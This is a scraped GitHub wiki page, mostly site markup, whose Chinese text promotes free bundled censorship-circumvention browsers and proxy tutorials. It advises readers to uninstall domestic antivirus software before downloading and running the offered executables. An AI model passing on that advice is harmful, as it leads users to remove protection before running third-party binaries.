class="dropdown-item" href="/p4g5" data-ga-click="Header, go to profile, text:your profile">Your profile</a> <a role="menuitem" class="dropdown-item" href="/p4g5?tab=repositories" data-ga-click="Header, go to repositories, text:your repositories">Your repositories</a> <a role="menuitem" class="dropdown-item" href="/p4g5?tab=projects" data-ga-click="Header, go to projects, text:your projects">Your projects</a> <a role="menuitem" class="dropdown-item" href="/p4g5?tab=stars" data-ga-click="Header, go to starred repos, text:your stars">Your stars</a> <a role="menuitem" class="dropdown-item" href="https://gist.github.com/" data-ga-click="Header, your gists, text:your gists">Your gists</a> <div role="none" class="dropdown-divider"></div> <a role="menuitem" class="dropdown-item" href="https://help.github.com" data-ga-click="Header, go to help, text:help">Help</a> <a role="menuitem" class="dropdown-item" href="/settings/profile" data-ga-click="Header, go to settings, icon:settings">Settings</a> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="logout-form" action="/logout" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="Y8HcCFJNTD+hYd7Kv9FtT+Xxj7WUTAFihH0C9cLChd+JHtM9aCiGPnCGrrkcg/KpMKG0LJm8JbL5T2kPHqYNjQ==" /> <button type="submit" class="dropdown-item dropdown-signout" data-ga-click="Header, sign out, icon:logout" role="menuitem"> Sign out </button> </form> </details-menu> </details> </li> </ul> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="d-lg-none" action="/logout" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="oluBBaw9qfMJXUP8GdR5bZc9/Gw7dMAE2fQ5JlOw2OBIhI4wllhj8ti6M4+6huaLQm3H9TaE5NSkxlLcj9RQsg==" /> <button type="submit" class="btn-link HeaderNavlink d-block width-full text-left py-2 text-bold" data-ga-click="Header, sign out, icon:logout" style="padding-left: 2px;"> <svg class="octicon octicon-sign-out v-align-middle" style="margin-right: 2px;" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 9V7H8V5h4V3l4 3-4 3zm-2 3H6V3L2 1h8v3h1V1c0-.55-.45-1-1-1H1C.45 0 0 .45 0 1v11.38c0 .39.22.73.55.91L6 16.01V13h4c.55 0 1-.45 1-1V8h-1v4z"/></svg> Sign out </button> </form> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="sr-only right-0" action="/logout" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="b0Bgz4mqScE7zq0QVm08tZv5z1OzCVx+ozCI3NlInJaFn2/6s8+DwOop3WP1P6NTTqn0yr75eK7eAuMmBSwUxA==" /> <button type="submit" class="dropdown-item dropdown-signout" data-ga-click="Header, sign out, icon:logout"> Sign out </button> </form> </div> </div> </div> </header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container"> </div> <div role="main" class="application-main " data-commit-hovercards-enabled> <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <div > <div class="pagehead repohead instapaper_ignore readability-menu experiment-repo-nav pt-0 pt-lg-3 "> <div class="repohead-details-container clearfix container-lg p-responsive d-none d-lg-block"> <ul class="pagehead-actions"> <li> <!-- '"` --><!-- </textarea></xmp> --></option></form><form data-remote="true" class="js-social-form js-social-container" action="/notifications/subscribe" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="KK6/k23EkvBozTQwWgEA5FH8ZX5XVrBLzcGpR4JinAhq7/tIjemrK8lhd0do997jcIFVbSagHOTaRJTrAyLvEQ==" /> <input type="hidden" name="repository_id" id="repository_id" value="54544023" class="form-control" /> <details class="details-reset details-overlay select-menu float-left"> <summary class="btn btn-sm btn-with-count select-menu-button" data-ga-click="Repository, click Watch settings, action:wiki#index"> <span data-menu-button> <svg class="octicon octicon-eye v-align-text-bottom" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg> Watch </span> </summary> <details-menu class="select-menu-modal position-absolute mt-5" style="z-index: 99;"> <div class="select-menu-header"> <span class="select-menu-title">Notifications</span> </div> <div class="select-menu-list"> <button type="submit" name="do" value="included" class="select-menu-item width-full" aria-checked="true" role="menuitemradio"> <svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg> <div class="select-menu-item-text"> <span class="select-menu-item-heading">Not watching</span> <span class="description">Be notified only when participating or @mentioned.</span> <span class="hidden-select-button-text" data-menu-button-contents> <svg class="octicon octicon-eye v-align-text-bottom" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg> Watch </span> </div> </button> <button type="submit" name="do" value="release_only" class="select-menu-item width-full" aria-checked="false" role="menuitemradio"> <svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg> <div class="select-menu-item-text"> <span class="select-menu-item-heading">Releases only</span> <span class="description">Be notified of new releases, and when participating or @mentioned.</span> <span class="hidden-select-button-text" data-menu-button-contents> <svg class="octicon octicon-eye v-align-text-bottom" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg> Unwatch releases </span> </div> </button> <button type="submit" name="do" value="subscribed" class="select-menu-item width-full" aria-checked="false" role="menuitemradio"> <svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg> <div class="select-menu-item-text"> <span class="select-menu-item-heading">Watching</span> <span class="description">Be notified of all conversations.</span> <span class="hidden-select-button-text" data-menu-button-contents> <svg class="octicon octicon-eye v-align-text-bottom" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg> Unwatch </span> </div> </button> <button type="submit" name="do" value="ignore" class="select-menu-item width-full" aria-checked="false" role="menuitemradio"> <svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg> <div class="select-menu-item-text"> <span class="select-menu-item-heading">Ignoring</span> <span class="description">Never be notified.</span> <span class="hidden-select-button-text" data-menu-button-contents> <svg class="octicon octicon-mute v-align-text-bottom" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 2.81v10.38c0 .67-.81 1-1.28.53L3 10H1c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1h2l3.72-3.72C7.19 1.81 8 2.14 8 2.81zm7.53 3.22l-1.06-1.06-1.97 1.97-1.97-1.97-1.06 1.06L11.44 8 9.47 9.97l1.06 1.06 1.97-1.97 1.97 1.97 1.06-1.06L13.56 8l1.97-1.97z"/></svg> Stop ignoring </span> </div> </button> </div> </details-menu> </details> <a class="social-count js-social-count" href="/Alvin9999/new-pac/watchers" aria-label="885 users are watching this repository"> 885 </a> </form> </li> <li> <div class="js-toggler-container js-social-container starring-container "> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="starred js-social-form" action="/Alvin9999/new-pac/unstar" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="GTo3eO2YhEo8L7lENMkL+RSLnBTchg9YTdhcTMAWPQx/JBU/tuW7iAaYUuM24agiYdiJviImlX0ddi4rMZdncg==" /> <input type="hidden" name="context" value="repository"></input> <button type="submit" class="btn btn-sm btn-with-count js-toggler-target" aria-label="Unstar this repository" title="Unstar Alvin9999/new-pac" data-ga-click="Repository, click unstar button, action:wiki#index; text:Unstar"> <svg class="octicon octicon-star v-align-text-bottom" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M14 6l-4.9-.64L7 1 4.9 5.36 0 6l3.6 3.26L2.67 14 7 11.67 11.33 14l-.93-4.74L14 6z"/></svg> Unstar </button> <a class="social-count js-social-count" href="/Alvin9999/new-pac/stargazers" aria-label="10597 users starred this repository"> 10,597 </a> </form> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="unstarred js-social-form" action="/Alvin9999/new-pac/star" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="BQPzq91IsEBS9r+jwR/XVm38bv38iO0gZAS8UpQ9frXP14g4U9YoouFFk/ychCBLkSmg2JW6KZBv6jzyY5Ys2A==" /> <input type="hidden" name="context" value="repository"></input> <button type="submit" class="btn btn-sm btn-with-count js-toggler-target" aria-label="Star this repository" title="Star Alvin9999/new-pac" data-ga-click="Repository, click star button, action:wiki#index; text:Star"> <svg class="octicon octicon-star v-align-text-bottom" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M14 6l-4.9-.64L7 1 4.9 5.36 0 6l3.6 3.26L2.67 14 7 11.67 11.33 14l-.93-4.74L14 6z"/></svg> Star </button> <a class="social-count js-social-count" href="/Alvin9999/new-pac/stargazers" aria-label="10597 users starred this repository"> 10,597 </a> </form> </div> </li> <li> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="btn-with-count" action="/Alvin9999/new-pac/fork" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="30Vh1ipLvlW/0PCnUecaRMVXMrEAkkUtICx4d/UTUZYbhHNFEQj0jQS6H89vocX56OZE3Wr8Y7tdgqTD0JQbgQ==" /> <button type="submit" class="btn btn-sm btn-with-count" data-ga-click="Repository, show fork modal, action:wiki#index; text:Fork" title="Fork your own copy of Alvin9999/new-pac to your account" aria-label="Fork your own copy of Alvin9999/new-pac to your account"> <svg class="octicon octicon-repo-forked v-align-text-bottom" viewBox="0 0 10 16" version="1.1" width="10" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 1a1.993 1.993 0 0 0-1 3.72V6L5 8 3 6V4.72A1.993 1.993 0 0 0 2 1a1.993 1.993 0 0 0-1 3.72V6.5l3 3v1.78A1.993 1.993 0 0 0 5 15a1.993 1.993 0 0 0 1-3.72V9.5l3-3V4.72A1.993 1.993 0 0 0 8 1zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3 10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3-10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"/></svg> Fork </button> </form> <a href="/Alvin9999/new-pac/network/members" class="social-count" aria-label="2441 users forked this repository"> 2,441 </a> </li> </ul> <h1 class="public "> <svg class="octicon octicon-repo" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"/></svg> <span class="author" itemprop="author"><a class="url fn" rel="author" data-hovercard-type="user" data-hovercard-url="/hovercards?user_id=12132898" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="/Alvin9999">Alvin9999</a></span><!-- --><span class="path-divider">/</span><!-- --><strong itemprop="name"><a data-pjax="#js-repo-pjax-container" href="/Alvin9999/new-pac">new-pac</a></strong> </h1> </div> <nav class="reponav js-repo-nav js-sidenav-container-pjax container-lg p-responsive d-none d-lg-block" itemscope itemtype="http://schema.org/BreadcrumbList" aria-label="Repository" data-pjax="#js-repo-pjax-container"> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a class="js-selected-navigation-item reponav-item" itemprop="url" data-hotkey="g c" data-selected-links="repo_source repo_downloads repo_commits repo_releases repo_tags repo_branches repo_packages /Alvin9999/new-pac" href="/Alvin9999/new-pac"> <svg class="octicon octicon-code" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M9.5 3L8 4.5 11.5 8 8 11.5 9.5 13 14 8 9.5 3zm-5 0L0 8l4.5 5L6 11.5 2.5 8 6 4.5 4.5 3z"/></svg> <span itemprop="name">Code</span> <meta itemprop="position" content="1"> </a> </span> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a itemprop="url" data-hotkey="g i" class="js-selected-navigation-item reponav-item" data-selected-links="repo_issues repo_labels repo_milestones /Alvin9999/new-pac/issues" href="/Alvin9999/new-pac/issues"> <svg class="octicon octicon-issue-opened" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z"/></svg> <span itemprop="name">Issues</span> <span class="Counter">321</span> <meta itemprop="position" content="2"> </a> </span> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a data-hotkey="g p" itemprop="url" class="js-selected-navigation-item reponav-item" data-selected-links="repo_pulls checks /Alvin9999/new-pac/pulls" href="/Alvin9999/new-pac/pulls"> <svg class="octicon octicon-git-pull-request" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M11 11.28V5c-.03-.78-.34-1.47-.94-2.06C9.46 2.35 8.78 2.03 8 2H7V0L4 3l3 3V4h1c.27.02.48.11.69.31.21.2.3.42.31.69v6.28A1.993 1.993 0 0 0 10 15a1.993 1.993 0 0 0 1-3.72zm-1 2.92c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zM4 3c0-1.11-.89-2-2-2a1.993 1.993 0 0 0-1 3.72v6.56A1.993 1.993 0 0 0 2 15a1.993 1.993 0 0 0 1-3.72V4.72c.59-.34 1-.98 1-1.72zm-.8 10c0 .66-.55 1.2-1.2 1.2-.65 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"/></svg> <span itemprop="name">Pull requests</span> <span class="Counter">1</span> <meta itemprop="position" content="3"> </a> </span> <a data-hotkey="g b" class="js-selected-navigation-item reponav-item" data-selected-links="repo_projects new_repo_project repo_project /Alvin9999/new-pac/projects" href="/Alvin9999/new-pac/projects"> <svg class="octicon octicon-project" viewBox="0 0 15 16" version="1.1" width="15" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h13a1 1 0 0 0 1-1V1a1 1 0 0 0-1-1z"/></svg> Projects <span class="Counter" >0</span> </a> <a class="js-selected-navigation-item selected reponav-item" data-hotkey="g w" aria-current="page" data-selected-links="repo_wiki /Alvin9999/new-pac/wiki" href="/Alvin9999/new-pac/wiki"> <svg class="octicon octicon-book" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M3 5h4v1H3V5zm0 3h4V7H3v1zm0 2h4V9H3v1zm11-5h-4v1h4V5zm0 2h-4v1h4V7zm0 2h-4v1h4V9zm2-6v9c0 .55-.45 1-1 1H9.5l-1 1-1-1H2c-.55 0-1-.45-1-1V3c0-.55.45-1 1-1h5.5l1 1 1-1H15c.55 0 1 .45 1 1zm-8 .5L7.5 3H2v9h6V3.5zm7-.5H9.5l-.5.5V12h6V3z"/></svg> Wiki </a> <a class="js-selected-navigation-item reponav-item" data-selected-links="repo_graphs repo_contributors dependency_graph pulse alerts security people /Alvin9999/new-pac/pulse" href="/Alvin9999/new-pac/pulse"> <svg class="octicon octicon-graph" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M16 14v1H0V0h1v14h15zM5 13H3V8h2v5zm4 0H7V3h2v10zm4 0h-2V6h2v7z"/></svg> Insights </a> </nav> <div class="reponav-wrapper reponav-small d-lg-none"> <nav class="reponav js-reponav text-center no-wrap" itemscope itemtype="http://schema.org/BreadcrumbList"> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a class="js-selected-navigation-item reponav-item" itemprop="url" data-selected-links="repo_source repo_downloads repo_commits repo_releases repo_tags repo_branches repo_packages /Alvin9999/new-pac" href="/Alvin9999/new-pac"> <span itemprop="name">Code</span> <meta itemprop="position" content="1"> </a> </span> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a itemprop="url" class="js-selected-navigation-item reponav-item" data-selected-links="repo_issues repo_labels repo_milestones /Alvin9999/new-pac/issues" href="/Alvin9999/new-pac/issues"> <span itemprop="name">Issues</span> <span class="Counter">321</span> <meta itemprop="position" content="2"> </a> </span> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a itemprop="url" class="js-selected-navigation-item reponav-item" data-selected-links="repo_pulls checks /Alvin9999/new-pac/pulls" href="/Alvin9999/new-pac/pulls"> <span itemprop="name">Pull requests</span> <span class="Counter">1</span> <meta itemprop="position" content="3"> </a> </span> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a itemprop="url" class="js-selected-navigation-item reponav-item" data-selected-links="repo_projects new_repo_project repo_project /Alvin9999/new-pac/projects" href="/Alvin9999/new-pac/projects"> <span itemprop="name">Projects</span> <span class="Counter">0</span> <meta itemprop="position" content="4"> </a> </span> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a itemprop="url" class="js-selected-navigation-item selected reponav-item" aria-current="page" data-selected-links="repo_wiki /Alvin9999/new-pac/wiki" href="/Alvin9999/new-pac/wiki"> <span itemprop="name">Wiki</span> <meta itemprop="position" content="5"> </a> </span> <a class="js-selected-navigation-item reponav-item" data-selected-links="pulse /Alvin9999/new-pac/pulse" href="/Alvin9999/new-pac/pulse"> Pulse </a> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a itemprop="url" class="js-selected-navigation-item reponav-item" data-selected-links="community /Alvin9999/new-pac/community" href="/Alvin9999/new-pac/community"> Community </a> </span> </nav> </div> </div> <div class="container-lg new-discussion-timeline experiment-repo-nav p-responsive"> <div class="repository-content "> <div id="wiki-wrapper" class="page"> <div class="d-flex flex-column flex-md-row gh-header"> <h1 class="flex-auto min-width-0 mb-2 mb-md-0 mr-0 mr-md-2 gh-header-title instapaper_title">Home</h1> <div class="mt-0 mt-lg-1 flex-shrink-0 gh-header-actions"> <a href="#wiki-pages-box" class="d-md-none ">Jump to bottom</a> </div> </div> <div class="mt-2 mt-md-1 pb-3 gh-header-meta"> 自由上网 edited this page <relative-time datetime="2019-02-19T14:44:48Z">Feb 19, 2019</relative-time> · <a href="/Alvin9999/new-pac/wiki/Home/_history" class="muted-link"> 1061 revisions </a> </div> <div id="wiki-content" class="d-flex flex-column flex-md-row"> <div id="wiki-body" class="mt-4 flex-auto min-width-0 gollum-markdown-content instapaper_body"> <div class="markdown-body"> <h3> <a id="user-content-自由上网方法" class="anchor" href="#%E8%87%AA%E7%94%B1%E4%B8%8A%E7%BD%91%E6%96%B9%E6%B3%95" aria-hidden="true"><svg class="octicon octicon-link" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><strong><strong><strong><strong><strong><strong><strong><strong><strong><strong><strong><strong>自由上网方法</strong></strong></strong></strong></strong></strong></strong></strong></strong></strong></strong></strong> </h3> <pre><code> 一键翻墙浏览器 </code></pre> <p>永久免费。不用安装,无需设置,解压后使用。稳定、流畅、高速,长期更新。</p> <p><img src="https://raw.githubusercontent.com/Alvin9999/pac2/master/%E5%9B%BE%E6%A0%87.PNG" alt=""></p> <p><strong>介绍</strong>:GoProxy ipv6版、GoAgent ipv6版、v2ray版、SSR版、赛风版、WuJie版、FreeGate版、SkyZip版,适合windows操作系统,比如:Xp、win7、win8、win10系统。浏览器自带翻译插件和YouTube视频下载脚本,方便且实用。压缩包文件的格式是7z,如果解压出错,用7解压软件来解压(<a href="https://sparanoid.com/lab/7z/" rel="nofollow">7z解压软件下载地址</a>)。</p> <p><strong>注意</strong>:软件都是采用加密方式的,但为了更稳定、更安全的翻墙,建议卸载国产杀毒软件,至少翻墙时不要用它们!因为很多国产杀毒软件,比如360安全卫生、360杀毒软件、腾讯管家、金山卫士等不仅仅会起干扰作用,造成软件无法正常使用或速度变慢,它们与防火墙还有千丝万缕的关系!其实win10自带的defender就有杀毒的功能,如果还需要安全软件,可以用国外的杀毒软件<a href="http://files.avast.com/iavs9x/avast_free_antivirus_setup_offline.exe" rel="nofollow">avast</a>,防火墙<a href="https://github.com/henrypp/simplewall/releases/download/v.2.3.4/simplewall-2.3.4-setup.exe">simplewall</a>,还有清理软件<a href="http://downloads.wisecleaner.com/soft/WiseCare365.exe" rel="nofollow">wisecare365</a>。它们都是免费的,而且不会干扰电脑运行。</p> <p><strong>选择指南</strong>:有GoProxy ipv6版、GoAgent ipv6版、v2ray版、SSR版、赛风版、WuJie版、FreeGate版、SkyZip版,可以按照顺序依次尝试。由于国内网络环境不同、地区不同,封锁强度会不同,所以使用效果会有差别,有的地区几乎所有的软件都能使用,有的只能用几款,因此具体哪款软件适合你的网络环境,需要你自己来尝试。内存低于2G的电脑建议用<a href="https://github.com/Alvin9999/new-pac/wiki/%E7%81%AB%E7%8B%90%E7%BF%BB%E5%A2%99%E6%B5%8F%E8%A7%88%E5%99%A8">火狐翻墙浏览器</a>。还有<a href="https://github.com/Alvin9999/new-pac/wiki/%E7%9B%B4%E7%BF%BB%E9%80%9A%E9%81%93">直翻通道</a>可供选择,电脑、手机、平板都能使用。如果想自己搭建翻墙服务器,可以学习<a href="https://github.com/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAss%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%95%99%E7%A8%8B">自建ss/ssr服务器教程</a>或<a href="https://github.com/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAv2ray%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%95%99%E7%A8%8B">自建v2ray服务器教程</a>。</p> <p><strong>2018年6月6日</strong>:发布<a href="https://gitlab.com/Alvin9999/free/wikis/home" rel="nofollow">备用项目地址</a> 。</p> <p><strong>2019年1月18日公告</strong>:ipv6版国内大多数地区已失效,如果你无法使用ipv6版,请更换其它类型的软件。</p> <p><strong>推荐YouTube视频频道</strong>:<a href="https://www.youtube.com/channel/UCa6ERCDt3GzkvLye32ar89w/videos" rel="nofollow">历史上的今天</a> <a href="https://www.youtube.com/channel/UCtAIPjABiQD3qjlEl1T5VpA/featured" rel="nofollow">文昭談古論今</a></p> <hr> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E9%AB%98%E5%86%85%E6%A0%B8%E7%89%88">谷歌浏览器69高内核版</a> (2019年2月16日更新无界版本至19.02,更新自由门版本至7.66)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/ipv6%E5%BC%80%E5%90%AF%E6%96%B9%E6%B3%95">ipv6开启方法</a> (2018年6月22日更新方法)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/GoAgent-ipv6%E7%89%88">谷歌浏览器低内核GoAgent ipv6版</a> (2018年12月20日云端更新GoAgent ipv6)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/v2ray%E7%89%88">谷歌浏览器低内核v2ray版</a> (2018年12月27日云端更新v2ray配置信息)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/SSR%E7%89%88">谷歌浏览器低内核SSR版</a> (2018年9月23日更新版本)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E8%B5%9B%E9%A3%8E%E7%89%88">谷歌浏览器低内核赛风版</a> (2018年9月23日更新版本)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/FreeGate%E5%92%8CWuJie%E7%89%88">谷歌浏览器低内核FreeGate和WuJie版</a>(2019年2月16日更新无界版本至19.02,更新自由门版本至7.66)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/SkyZip%E7%89%88">谷歌浏览器低内核SkyZip版</a>(2018年9月23日更新版本)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/GoProxy-ipv6%E7%89%88">谷歌浏览器低内核GoProxy ipv6版</a> (2018年9月23日更新版本)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E7%81%AB%E7%8B%90%E7%BF%BB%E5%A2%99%E6%B5%8F%E8%A7%88%E5%99%A8">火狐翻墙浏览器</a>(2019年2月16日更新无界版本至19.02,更新自由门版本至7.66)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E7%9B%B4%E7%BF%BB%E9%80%9A%E9%81%93">直翻通道</a> (2018年1月31日更新)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E8%B0%B7%E6%AD%8C%E9%95%9C%E5%83%8F">谷歌镜像</a> (2018年10月28日更新)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAss%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%95%99%E7%A8%8B">自建SS/SSR服务器教程</a> (2018年11月21日增加SS/SSR部署备用脚本)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAv2ray%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%95%99%E7%A8%8B">自建v2ray服务器教程</a> (2019年2月11日更新一键部署v2ray脚本)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E5%AE%89%E5%8D%93%E6%89%8B%E6%9C%BA%E7%89%88">安卓手机版</a>(2018年6月24日更新聚缘阁安卓版)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E8%8B%B9%E6%9E%9C%E6%89%8B%E6%9C%BA%E7%BF%BB%E5%A2%99%E8%BD%AF%E4%BB%B6">苹果手机翻墙方法</a>(2018年2月24日更新)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E8%8B%B9%E6%9E%9C%E7%94%B5%E8%84%91MAC%E7%BF%BB%E5%A2%99%E8%BD%AF%E4%BB%B6">MAC翻墙方法</a>(2017年12月25日删除无效方法)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E5%B9%B3%E6%9D%BF%E7%94%B5%E8%84%91%E7%BF%BB%E5%A2%99%E8%BD%AF%E4%BB%B6">平板电脑翻墙方法</a>(2018年2月4日更新)</p> <p><a 